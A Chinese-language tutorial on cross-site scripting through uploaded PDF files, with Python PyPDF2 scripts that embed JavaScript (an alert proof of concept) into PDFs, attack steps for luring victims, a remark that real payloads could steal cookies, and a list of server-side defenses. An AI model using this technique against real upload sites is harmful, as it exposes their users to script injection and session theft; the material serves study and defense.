xss pdf制作
字数 727 2025-08-24 16:48:15

PDF上传导致的XSS漏洞分析与利用

漏洞原理

PDF上传导致的XSS漏洞是指当网站允许用户上传PDF文件时,攻击者可以上传包含恶意JavaScript代码的PDF文件。当其他用户查看这个PDF文件时,嵌入的JavaScript代码会被执行,从而实现跨站脚本攻击。

漏洞利用条件

  1. 网站允许用户上传PDF文件
  2. 上传的PDF文件能够被其他用户访问
  3. PDF查看器支持并执行JavaScript代码(大多数现代PDF阅读器都支持)

恶意PDF制作方法

方法一:使用Adobe Acrobat DC

  1. 打开Adobe Acrobat DC
  2. 创建或打开一个PDF文件
  3. 添加JavaScript代码
  4. 保存PDF文件

方法二:使用Python和PyPDF2库

2.1 创建新的恶意PDF

from PyPDF2 import PdfReader, PdfWriter

# 创建一个新的PDF文档
output_pdf = PdfWriter()

# 添加一个新页面
page = output_pdf.add_blank_page(width=72, height=72)

# 添加JS代码
output_pdf.add_js("app.alert('xss');")

# 将新页面写入到新PDF文档中
with open("xss.pdf", "wb") as f:
    output_pdf.write(f)

2.2 向现有PDF添加恶意代码

from PyPDF2 import PdfReader, PdfWriter

# 打开原始PDF文件
input_pdf = PdfReader("x.pdf")

# 创建一个新的PDF文档
output_pdf = PdfWriter()

# 将现有的PDF页面复制到新文档
for i in range(len(input_pdf.pages)):
    output_pdf.add_page(input_pdf.pages[i])

# 添加JavaScript代码
output_pdf.add_js("app.alert('xss');")

# 将新PDF文档写入到文件中
with open("xss.pdf", "wb") as f:
    output_pdf.write(f)

漏洞利用示例

  1. 攻击者制作包含恶意JavaScript代码的PDF文件
  2. 将PDF文件上传到目标网站
  3. 获取上传后的PDF访问URL
  4. 诱使受害者访问该PDF文件
  5. PDF中的JavaScript代码在受害者环境中执行

防御措施

  1. 对上传的PDF文件进行内容检查,过滤或禁止包含JavaScript代码的PDF
  2. 使用PDF解析库提取文本内容重新生成PDF,去除所有脚本
  3. 在服务端渲染PDF为图片后再提供给用户
  4. 设置Content-Security-Policy头限制PDF中的脚本执行
  5. 在Web应用中禁用PDF的内联展示,强制下载后查看

注意事项

  • 不同PDF阅读器对JavaScript的支持程度不同,测试时需考虑目标环境
  • 实际攻击中,JavaScript代码可以更复杂,如窃取cookie、发起请求等
  • 该漏洞利用需要用户交互(打开PDF),但仍具有较高危害性
PDF上传导致的XSS漏洞分析与利用 漏洞原理 PDF上传导致的XSS漏洞是指当网站允许用户上传PDF文件时,攻击者可以上传包含恶意JavaScript代码的PDF文件。当其他用户查看这个PDF文件时,嵌入的JavaScript代码会被执行,从而实现跨站脚本攻击。 漏洞利用条件 网站允许用户上传PDF文件 上传的PDF文件能够被其他用户访问 PDF查看器支持并执行JavaScript代码(大多数现代PDF阅读器都支持) 恶意PDF制作方法 方法一:使用Adobe Acrobat DC 打开Adobe Acrobat DC 创建或打开一个PDF文件 添加JavaScript代码 保存PDF文件 方法二:使用Python和PyPDF2库 2.1 创建新的恶意PDF 2.2 向现有PDF添加恶意代码 漏洞利用示例 攻击者制作包含恶意JavaScript代码的PDF文件 将PDF文件上传到目标网站 获取上传后的PDF访问URL 诱使受害者访问该PDF文件 PDF中的JavaScript代码在受害者环境中执行 防御措施 对上传的PDF文件进行内容检查,过滤或禁止包含JavaScript代码的PDF 使用PDF解析库提取文本内容重新生成PDF,去除所有脚本 在服务端渲染PDF为图片后再提供给用户 设置Content-Security-Policy头限制PDF中的脚本执行 在Web应用中禁用PDF的内联展示,强制下载后查看 注意事项 不同PDF阅读器对JavaScript的支持程度不同,测试时需考虑目标环境 实际攻击中,JavaScript代码可以更复杂,如窃取cookie、发起请求等 该漏洞利用需要用户交互(打开PDF),但仍具有较高危害性